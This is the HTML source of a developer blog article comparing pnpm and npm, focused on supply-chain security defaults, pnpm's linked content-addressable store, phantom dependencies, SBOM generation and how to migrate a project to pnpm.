        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#when-pnpm-better-default&quot;&gt;When pnpm is the better default&lt;/a&gt;
        &lt;ul data-toc-name=&quot;when-pnpm-better-default&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;JavaScript package managers have evolved far beyond installing dependencies. Today, tools like npm, Yarn, and pnpm also manage workspaces, generate lockfiles, audit vulnerabilities, and shape how teams secure their software supply chain.&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;1536&quot; height=&quot;1024&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-6.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;pnpm vs. npm: The short version&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-6.png 1536w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-6-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-6-1024x683.png 1024w, https://blog.logrocket.com/wp-content/uploads/2026/07/featured-image-6-768x512.png 768w&quot; sizes=&quot;(max-width: 1536px) 100vw, 1536px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;That last point matters more than ever. The npm ecosystem has become a high-value target for supply chain attacks, from compromised maintainer accounts to malicious lifecycle scripts that run during installation. Recent incidents such as the &lt;a href=&quot;https://www.elastic.co/security-labs/how-we-caught-the-axios-supply-chain-attack&quot;&gt;Axios supply chain attack&lt;/a&gt; and the &lt;a href=&quot;https://labs.cloudsecurityalliance.org/research/csa-research-note-shai-hulud-ai-supply-chain-20260517-csa-st/&quot;&gt;Mini Shai Hulud malware campaign&lt;/a&gt; show how quickly a trusted dependency can become an attack path. OWASP now lists &lt;a href=&quot;https://owasp.org/Top10/2025/A03_2025-Software_Supply_Chain_Failures/&quot;&gt;software supply chain failures&lt;/a&gt; as A03 in its 2025 Top 10, reflecting how central dependency risk has become to application security.&lt;/p&gt;
&lt;p&gt;npm still defines many of the conventions the JavaScript ecosystem uses every day, including &lt;code&gt;package.json&lt;/code&gt;, lockfiles, lifecycle scripts, and registry publishing. But some of npm’s long-standing design choices are showing their age, especially around &lt;code&gt;node_modules&lt;/code&gt; bloat, dependency hoisting, install-time trust, and default security posture.&lt;/p&gt;
&lt;p&gt;pnpm takes a different approach. Instead of copying dependency files into every project, it stores packages once in a content-addressable global store and links them into each project. That architecture reduces disk usage, speeds up repeated installs, and avoids some of the accidental dependency access that npm’s flattened &lt;code&gt;node_modules&lt;/code&gt; layout can allow. More recently, pnpm has also become more opinionated about security by delaying newly published versions, blocking unapproved build scripts, and rejecting certain risky dependency sources by default.&lt;/p&gt;
&lt;p&gt;In this article, we’ll look at where pnpm improves on npm, how its &lt;code&gt;node_modules&lt;/code&gt; structure works, what its newer security defaults protect against, and what to consider before migrating an existing project.&lt;/p&gt;
&lt;h2 id=&quot;pnpm-vs-npm-short-version&quot;&gt;pnpm vs. npm: The short version&lt;/h2&gt;
&lt;p&gt;pnpm is not just “npm, but faster.” Its main advantage is that performance, disk efficiency, and dependency strictness come from the same architectural choice: packages are stored once and linked into projects instead of being duplicated or broadly hoisted.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot;&gt;The table below summarizes the key differences:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Area&lt;/th&gt;
&lt;th&gt;npm&lt;/th&gt;
&lt;th&gt;pnpm&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dependency storage&lt;/td&gt;
&lt;td&gt;Installs packages into each project’s &lt;code&gt;node_modules&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stores package files once in a global content-addressable store and links them into projects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disk usage&lt;/td&gt;
&lt;td&gt;Can duplicate package files across projects&lt;/td&gt;
&lt;td&gt;Reuses the same package version across projects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependency access&lt;/td&gt;
&lt;td&gt;Hoisted dependencies can be imported even when they are not declared directly&lt;/td&gt;
&lt;td&gt;Strict layout makes undeclared dependency imports easier to catch&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install scripts&lt;/td&gt;
&lt;td&gt;Lifecycle scripts run by default unless restricted&lt;/td&gt;
&lt;td&gt;Dependency build scripts require explicit approval through &lt;code&gt;allowBuilds&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Newly published versions&lt;/td&gt;
&lt;td&gt;Can be delayed with &lt;code&gt;min-release-age&lt;/code&gt;, but this is opt-in&lt;/td&gt;
&lt;td&gt;Delays newly published versions by default in pnpm 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workspaces&lt;/td&gt;
&lt;td&gt;Supported through the &lt;code&gt;workspaces&lt;/code&gt; field&lt;/td&gt;
&lt;td&gt;Supported through &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt;, with centralized security and version policy settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SBOM support&lt;/td&gt;
&lt;td&gt;Supports &lt;code&gt;npm sbom&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Supports &lt;code&gt;pnpm sbom&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-top: 15px;&quot;&gt;The trade-off is compatibility. pnpm’s strictness can expose problems that npm’s hoisting hides. That is usually a good thing for long-term correctness, but it can make migration noisier for projects that rely on undeclared dependencies.&lt;/p&gt;
&lt;h2 id=&quot;install-pipeline-attack-vector&quot;&gt;The install pipeline as an attack vector&lt;/h2&gt;
&lt;p&gt;The package install step is one of the most trusted parts of a JavaScript workflow. It is also one of the riskiest.&lt;/p&gt;
&lt;p&gt;When you run &lt;code&gt;npm install&lt;/code&gt;, dependency lifecycle scripts such as &lt;code&gt;preinstall&lt;/code&gt;, &lt;code&gt;install&lt;/code&gt;, and &lt;code&gt;postinstall&lt;/code&gt; can execute automatically. Legitimate packages use these scripts to download binaries, compile native modules, or perform setup work that the package needs in order to function.&lt;/p&gt;
&lt;p&gt;The problem is that install scripts are still third-party code running on your machine or in CI. If an attacker compromises a package, maintainer account, or release process, the install step becomes a direct execution path.&lt;/p&gt;
&lt;p&gt;The Mini Shai Hulud campaign exploited that kind of trust boundary: malicious packages used installation behavior to steal sensitive credentials such as GitHub tokens, API keys, and cloud secrets. Once those credentials were captured, attackers could publish additional poisoned packages and expand the compromise.&lt;/p&gt;
&lt;p&gt;Lockfiles help reduce the risk of silently picking up a malicious patch release. For example, if a project depends on &lt;code&gt;axios&lt;/code&gt; with a semver range such as &lt;code&gt;^1.13.0&lt;/code&gt;, installing without a lockfile can resolve to a newer patch or minor version that satisfies the range. If that newer version is compromised during the window when it is available, your project may install it automatically.&lt;/p&gt;
&lt;p&gt;That is why package manager behavior matters. Security is not only about running &lt;code&gt;npm audit&lt;/code&gt; after installation; it is also about deciding which code is allowed to run during installation and how quickly newly published versions can enter your dependency tree. Understanding &lt;a href=&quot;https://blog.logrocket.com/npm-dependencies-bigger-security-risk-your-code/&quot;&gt;why npm dependencies are a bigger security risk than your code&lt;/a&gt; can help frame just how significant these decisions are.&lt;/p&gt;
&lt;h2 id=&quot;pnpm-security-model-differs&quot;&gt;Where pnpm’s security model differs&lt;/h2&gt;
&lt;p&gt;pnpm’s newer security defaults are designed around a simple idea: the package manager should not assume that every newly published package, transitive dependency, or install script is safe.&lt;/p&gt;
&lt;p&gt;These defaults do not make a project immune to supply chain attacks. You still need lockfiles, code review, two-factor authentication for package publishing, dependency monitoring, and secret scanning. But pnpm shifts more protection into the default install path instead of requiring every team to opt into it manually.&lt;/p&gt;
&lt;h3 id=&quot;delaying-newly-published-versions-minimum-release-age&quot;&gt;Delaying newly published versions with &lt;code&gt;minimumReleaseAge&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;pnpm 11 sets &lt;code&gt;minimumReleaseAge&lt;/code&gt; to &lt;code&gt;1440&lt;/code&gt; minutes by default, which means a newly published package version must be at least 24 hours old before pnpm will resolve it.&lt;/p&gt;

&lt;p&gt;That delay helps with a common supply chain pattern: malicious versions are often discovered and removed shortly after publication. Waiting a day gives maintainers, registries, and security tools time to react before the version reaches your project.&lt;/p&gt;
&lt;p&gt;You can increase the delay in &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-yaml hljs&quot;&gt;minimumReleaseAge: 10080 # Wait one week before installing newly published versions
&lt;/pre&gt;
&lt;p&gt;You can also exempt trusted packages, such as internal packages your organization publishes:&lt;/p&gt;
&lt;pre class=&quot;language-yaml hljs&quot;&gt;minimumReleaseAge: 1440
minimumReleaseAgeExclude:
  - &#39;@your-org/*&#39;
&lt;/pre&gt;
&lt;p&gt;npm has added a similar setting, &lt;code&gt;min-release-age&lt;/code&gt;, but it is not enabled by default. That difference matters: with pnpm, the safer behavior is the starting point; with npm, teams must choose to configure it.&lt;/p&gt;
&lt;h3 id=&quot;requiring-approval-dependency-build-scripts&quot;&gt;Requiring approval for dependency build scripts&lt;/h3&gt;
&lt;p&gt;Install scripts are powerful because they run code during dependency installation. That power is also why they are dangerous.&lt;/p&gt;
&lt;p&gt;pnpm’s &lt;code&gt;allowBuilds&lt;/code&gt; setting lets teams approve which dependencies may run lifecycle build scripts. If a package tries to run a build script and is not allowlisted, pnpm reports it instead of silently trusting it.&lt;/p&gt;
&lt;p&gt;A typical workflow looks like this:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;pnpm install
pnpm approve-builds
&lt;/pre&gt;
&lt;p&gt;The resulting policy lives in &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-yaml hljs&quot;&gt;allowBuilds:
  &#39;@swc/core&#39;: true
  esbuild: true
  sharp: true
&lt;/pre&gt;
&lt;p&gt;This is useful because many legitimate packages need build scripts. Native dependencies such as &lt;code&gt;sharp&lt;/code&gt;, &lt;code&gt;esbuild&lt;/code&gt;, and &lt;code&gt;@swc/core&lt;/code&gt; may require postinstall behavior. The goal is not to ban lifecycle scripts entirely; it is to make script execution explicit and reviewable.&lt;/p&gt;
&lt;p&gt;npm has also introduced an approval workflow through &lt;code&gt;npm approve-scripts&lt;/code&gt;, but in the current npm release this policy is advisory: install scripts still run by default, and npm reports which packages have not been reviewed.&lt;/p&gt;
&lt;h3 id=&quot;blocking-exotic-transitive-dependencies&quot;&gt;Blocking exotic transitive dependencies&lt;/h3&gt;
&lt;p&gt;Another pnpm 11 default, &lt;code&gt;blockExoticSubdeps&lt;/code&gt;, blocks transitive dependencies from resolving through sources such as Git repositories or tarball URLs. These sources can be legitimate, but they also bypass some of the normal expectations teams have around public registry packages, provenance, and review.&lt;/p&gt;
&lt;p&gt;This does not mean you can never install from a Git URL. It means pnpm is stricter about allowing a package deep in your dependency tree to pull code from a less predictable source without you noticing.&lt;/p&gt;
&lt;h3 id=&quot;enforcing-trust-policy&quot;&gt;Enforcing trust policy&lt;/h3&gt;
&lt;p&gt;pnpm 10.21 introduced &lt;code&gt;trustPolicy&lt;/code&gt;, including a &lt;code&gt;no-downgrade&lt;/code&gt; mode that can block a package version if its trust evidence is weaker than a version you previously installed.&lt;/p&gt;
&lt;p&gt;For example, if a package previously shipped with provenance and a later version does not, pnpm can refuse the downgrade in trust. That kind of policy is especially relevant after incidents where compromised package versions lack the provenance signals present in earlier legitimate releases.&lt;/p&gt;

&lt;p&gt;npm can display provenance information and supports signature verification through commands like &lt;code&gt;npm audit signatures&lt;/code&gt;, but it does not currently enforce a comparable trust downgrade policy during normal installation.&lt;/p&gt;
&lt;h2 id=&quot;why-pnpm-uses-less-disk-space&quot;&gt;Why pnpm uses less disk space&lt;/h2&gt;
&lt;p&gt;The other major difference between npm and pnpm is how they store packages on disk.&lt;/p&gt;
&lt;p&gt;A JavaScript dependency rarely arrives alone. Install &lt;code&gt;express&lt;/code&gt;, and you also install the packages &lt;code&gt;express&lt;/code&gt; depends on, the packages those packages depend on, and so on. This transitive tree can grow quickly.&lt;/p&gt;
&lt;p&gt;npm v3 improved disk usage by flattening &lt;code&gt;node_modules&lt;/code&gt; and hoisting dependencies to the project root where possible. That reduced duplication, but it also introduced a long-standing side effect: packages can sometimes be imported by your application even if you never declared them in &lt;code&gt;package.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For example, suppose &lt;code&gt;express&lt;/code&gt; depends on &lt;code&gt;debug&lt;/code&gt;. With npm’s flattened layout, &lt;code&gt;debug&lt;/code&gt; may appear at the top level of &lt;code&gt;node_modules&lt;/code&gt;. Your application can then accidentally do this:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import debug from &#39;debug&#39;;
&lt;/pre&gt;
&lt;p&gt;The import works even though &lt;code&gt;debug&lt;/code&gt; is not your direct dependency. Later, if &lt;code&gt;express&lt;/code&gt; removes &lt;code&gt;debug&lt;/code&gt; or changes how it depends on it, your application breaks. This is the “phantom dependency” or “ghost dependency” problem. Tools like &lt;a href=&quot;https://blog.logrocket.com/finding-unused-and-ghost-dependencies-with-knip/&quot;&gt;Knip can help you find unused and ghost dependencies&lt;/a&gt; before they cause issues in production.&lt;/p&gt;
&lt;p&gt;pnpm avoids this by using a stricter &lt;code&gt;node_modules&lt;/code&gt; layout. Package files are stored once in a global content-addressable store. Projects then reference those files through hard links and symlinks.&lt;/p&gt;
&lt;p&gt;A simplified layout looks like this:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext hljs&quot;&gt;~/.pnpm-store/
└── v11/
    ├── files/
    │   ├── 4a/1f9c8b...              ← react content, hash-addressed
    │   └── 7e/2d5a91...              ← react-dom content, hash-addressed
    └── index.db

project-a/
└── node_modules/
    ├── react -&amp;gt; .pnpm/&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;74061115170034454c5a475a45&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/node_modules/react
    ├── react-dom -&amp;gt; .pnpm/&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;1260777371663f767d7f52232a3c213c23&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/node_modules/react-dom
    └── .pnpm/
        ├── &lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;e69483878592a6d7dec8d5c8d7&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/
        │   └── node_modules/
        │       └── react/            ← hard linked from the store
        └── &lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;5c2e393d3f28713833311c6d64726f726d&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/
            └── node_modules/
                ├── react-dom/        ← hard linked from the store
                └── react -&amp;gt; ../../&lt;a href=&quot;https://blog.logrocket.com/cdn-cgi/l/email-protection&quot; class=&quot;__cf_email__&quot; data-cfemail=&quot;cbb9aeaaa8bf8bfaf3e5f8e5fa&quot;&gt;[email&amp;nbsp;protected]&lt;/a&gt;/node_modules/react
&lt;/pre&gt;
&lt;p&gt;A hard link points another file name at the same underlying data on disk, so the package contents are not duplicated. A symlink works more like a shortcut, pointing one path to another. pnpm combines both: hard links avoid repeated package contents, and symlinks preserve the dependency relationships Node needs for module resolution.&lt;/p&gt;
&lt;p&gt;This is why pnpm can feel dramatically lighter on machines with many projects. If 20 projects all use the same version of React, pnpm stores that version once and links it into each project as needed.&lt;/p&gt;
&lt;p&gt;One caveat: Finder, Windows Explorer, and some disk-usage tools can make pnpm projects look larger than they really are because they count each hard-linked file as if it were a separate copy. To measure actual disk usage, use tools that understand hard links or compare free disk space before and after installation.&lt;/p&gt;
&lt;h2 id=&quot;practical-impact-node-modules-bloat&quot;&gt;The practical impact on &lt;code&gt;node_modules&lt;/code&gt; bloat&lt;/h2&gt;
&lt;p&gt;Early in my career, I dealt with &lt;code&gt;node_modules&lt;/code&gt; bloat before I understood what caused it. I was learning React on a 256GB laptop with limited internet access, so I copied entire &lt;code&gt;node_modules&lt;/code&gt; folders between projects to avoid downloading the same packages again.&lt;/p&gt;
&lt;p&gt;pnpm solves that problem at the package manager level. Whether you have one project or a hundred on the same machine, every package version is stored once and reused.&lt;/p&gt;
&lt;p&gt;I saw this in a large pnpm monorepo with four apps. The root &lt;code&gt;node_modules&lt;/code&gt; appeared to take about &lt;strong&gt;1.87GB&lt;/strong&gt; on disk. After deleting &lt;code&gt;node_modules&lt;/code&gt; and reinstalling, the free storage on my machine barely changed because the package contents were already in pnpm’s store. The reinstall mostly recreated links.&lt;/p&gt;
&lt;p&gt;When I converted the same project to an npm monorepo and installed dependencies, disk usage increased because npm wrote a separate copy of the dependencies into that project.&lt;/p&gt;
&lt;p&gt;The important lesson is not just “pnpm is smaller.” It is that pnpm treats installed packages as reusable content, while npm generally treats each project install as its own dependency tree.&lt;/p&gt;
&lt;h2 id=&quot;pnpm-workspace-security-contract&quot;&gt;pnpm as a workspace security contract&lt;/h2&gt;
&lt;p&gt;pnpm’s workspace configuration has become a central place for dependency policy.&lt;/p&gt;
&lt;p&gt;In pnpm 11, most non-registry settings belong in &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; rather than being scattered across &lt;code&gt;.npmrc&lt;/code&gt; files or a &lt;code&gt;pnpm&lt;/code&gt; field in &lt;code&gt;package.json&lt;/code&gt;. That makes settings such as &lt;code&gt;minimumReleaseAge&lt;/code&gt;, &lt;code&gt;allowBuilds&lt;/code&gt;, &lt;code&gt;blockExoticSubdeps&lt;/code&gt;, and &lt;code&gt;trustPolicy&lt;/code&gt; easier to review in one place.&lt;/p&gt;
&lt;p&gt;For a monorepo, that matters. A root workspace file can act as a security contract for every package in the repo:&lt;/p&gt;
&lt;pre class=&quot;language-yaml hljs&quot;&gt;packages:
  - &#39;apps/*&#39;
  - &#39;packages/*&#39;

minimumReleaseAge: 1440
blockExoticSubdeps: true
trustPolicy: no-downgrade
allowBuilds:
  &#39;@swc/core&#39;: true
  esbuild: true
  sharp: true
&lt;/pre&gt;
&lt;p&gt;This file tells reviewers not only which packages exist in the workspace, but also which dependency behaviors are allowed.&lt;/p&gt;
&lt;p&gt;pnpm’s catalogs push this further by centralizing dependency versions across a workspace. With strict catalog mode, &lt;code&gt;pnpm add&lt;/code&gt; can fail when a developer tries to install a version outside the approved catalog. npm’s &lt;code&gt;overrides&lt;/code&gt; can force versions after resolution, but catalogs are more proactive: they prevent unsupported versions from being added in the first place.&lt;/p&gt;
&lt;h2 id=&quot;builtin-sbom-generation&quot;&gt;Built-in SBOM generation&lt;/h2&gt;
&lt;p&gt;A software bill of materials, or SBOM, is a machine-readable inventory of the packages in your application. Teams use SBOMs for audits, compliance, vulnerability scanning, and incident response.&lt;/p&gt;
&lt;p&gt;Before package managers added native SBOM support, teams often reached for tools like Syft or CycloneDX plugins. npm introduced &lt;code&gt;npm sbom&lt;/code&gt; first, and pnpm now includes &lt;code&gt;pnpm sbom&lt;/code&gt; as well.&lt;/p&gt;
&lt;p&gt;That means you can generate CycloneDX or SPDX output directly from your package manager:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;pnpm sbom --format cyclonedx-json &amp;gt; sbom.json
&lt;/pre&gt;
&lt;p&gt;This is useful during incident response. When a new vulnerability or compromise is disclosed, an SBOM helps you answer a basic but urgent question: did we ship the affected package, and in which release?&lt;/p&gt;
&lt;h2 id=&quot;native-registry-operations-pnpm&quot;&gt;Native registry operations in pnpm&lt;/h2&gt;
&lt;p&gt;pnpm 11 also implements registry operations directly. Commands such as &lt;code&gt;pnpm publish&lt;/code&gt;, &lt;code&gt;pnpm login&lt;/code&gt;, &lt;code&gt;pnpm logout&lt;/code&gt;, &lt;code&gt;pnpm view&lt;/code&gt;, &lt;code&gt;pnpm deprecate&lt;/code&gt;, and &lt;code&gt;pnpm unpublish&lt;/code&gt; no longer depend on the npm CLI under the hood.&lt;/p&gt;
&lt;p&gt;This is not a feature that npm lacks; npm is still the native CLI for the npm registry. The point is that pnpm’s workflow no longer has to hand publishing and account operations off to another tool. For teams standardizing on pnpm, that makes the install-to-publish workflow more consistent.&lt;/p&gt;
&lt;h2 id=&quot;how-to-migrate-npm-yarn-to-pnpm&quot;&gt;How to migrate from npm or Yarn to pnpm&lt;/h2&gt;
&lt;p&gt;Migrating to pnpm is usually straightforward, but the strict dependency layout can reveal hidden problems in your project.&lt;/p&gt;
&lt;p&gt;A safe migration looks like this:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;# Option 1: Install globally
npm i -g pnpm

# Option 2: Use Corepack
corepack enable
corepack use pnpm@latest

# Convert the existing lockfile
pnpm import

# Remove the old install artifacts
rm -rf node_modules package-lock.json yarn.lock

# Install with pnpm
pnpm install
&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;pnpm import&lt;/code&gt; reads your existing &lt;code&gt;package-lock.json&lt;/code&gt; or &lt;code&gt;yarn.lock&lt;/code&gt; and creates a &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; that preserves your current resolutions as closely as possible. That gives you a more controlled starting point than deleting the old lockfile and resolving everything from scratch.&lt;/p&gt;
&lt;p&gt;After the first install, expect to fix a few things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add any dependencies your code imports directly but did not list in &lt;code&gt;package.json&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Replace npm or Yarn commands in CI workflows and Dockerfiles&lt;/li&gt;
&lt;li&gt;Create a root &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; for monorepos&lt;/li&gt;
&lt;li&gt;Review packages that require lifecycle scripts and approve them with &lt;code&gt;pnpm approve-builds&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Decide whether to keep the default &lt;code&gt;minimumReleaseAge&lt;/code&gt; or tune it for your release workflow&lt;/li&gt;
&lt;li&gt;Update developer onboarding docs so local commands use &lt;code&gt;pnpm&lt;/code&gt; consistently&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The most common migration surprise is phantom dependencies. Code that worked under npm may fail under pnpm because it imported a package that was only available through hoisting. Treat those failures as useful signals. They show you where your dependency declarations were incomplete.&lt;/p&gt;
&lt;h2 id=&quot;when-pnpm-better-default&quot;&gt;When pnpm is the better default&lt;/h2&gt;
&lt;p&gt;pnpm is a strong fit when your team cares about reproducible installs, monorepo performance, disk usage, and supply chain hardening. It is especially useful for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Large monorepos with shared packages and many repeated dependencies&lt;/li&gt;
&lt;li&gt;Teams that want stricter dependency declarations&lt;/li&gt;
&lt;li&gt;CI systems where install speed and lockfile consistency matter&lt;/li&gt;
&lt;li&gt;Security-conscious teams that want safer install defaults&lt;/li&gt;
&lt;li&gt;Projects that need centralized workspace dependency policy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;npm is still a reasonable default for small projects, tutorials, and teams that want the least surprising path through the JavaScript ecosystem. It is preinstalled with Node.js, widely documented, and universally supported. If your project is small and your workflow is simple, npm may be enough.&lt;/p&gt;
&lt;p&gt;But for larger applications, pnpm’s trade-offs are increasingly attractive. It keeps the familiar &lt;code&gt;package.json&lt;/code&gt; workflow while solving several pain points that npm either leaves to configuration or exposes through years of backward-compatible behavior. Teams that also want to &lt;a href=&quot;https://blog.logrocket.com/secure-full-stack-npm/&quot;&gt;secure their full-stack projects from NPM attacks&lt;/a&gt; will find that pnpm’s stricter defaults complement those broader hardening efforts.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Package managers are now part of the security boundary. They do not just fetch dependencies; they decide which code runs during installation, how quickly new versions enter a project, how strictly dependencies are resolved, and how easily teams can audit what they shipped.&lt;/p&gt;
&lt;p&gt;That is where pnpm has pulled ahead. Its content-addressable store reduces disk usage and repeated downloads. Its strict dependency layout exposes phantom dependencies instead of hiding them. Its workspace configuration centralizes dependency policy. And its newer security defaults make risky installation behavior harder to miss.&lt;/p&gt;
&lt;p&gt;This does not make npm obsolete. npm created the workflow the ecosystem still builds on, and it continues to add security features of its own. The difference is that pnpm is more willing to make stricter behavior the default.&lt;/p&gt;
&lt;p&gt;For teams maintaining large JavaScript apps or monorepos, that default posture matters. pnpm is not only faster and more disk-efficient than npm in many workflows; it is a package manager that treats dependency installation as a security-sensitive operation from the start. If you are also thinking about how your dependencies interact with authentication and access control, reviewing &lt;a href=&quot;https://blog.logrocket.com/jwt-authentication-best-practices/&quot;&gt;JWT authentication best practices&lt;/a&gt; is a natural next step for hardening the full application stack. And if you are adopting AI-assisted development alongside these security improvements, understanding &lt;a href=&quot;https://blog.logrocket.com/ai-development-governance-practical-guide/&quot;&gt;AI-assisted development governance&lt;/a&gt; can help your team maintain control over what gets shipped.&lt;/p&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

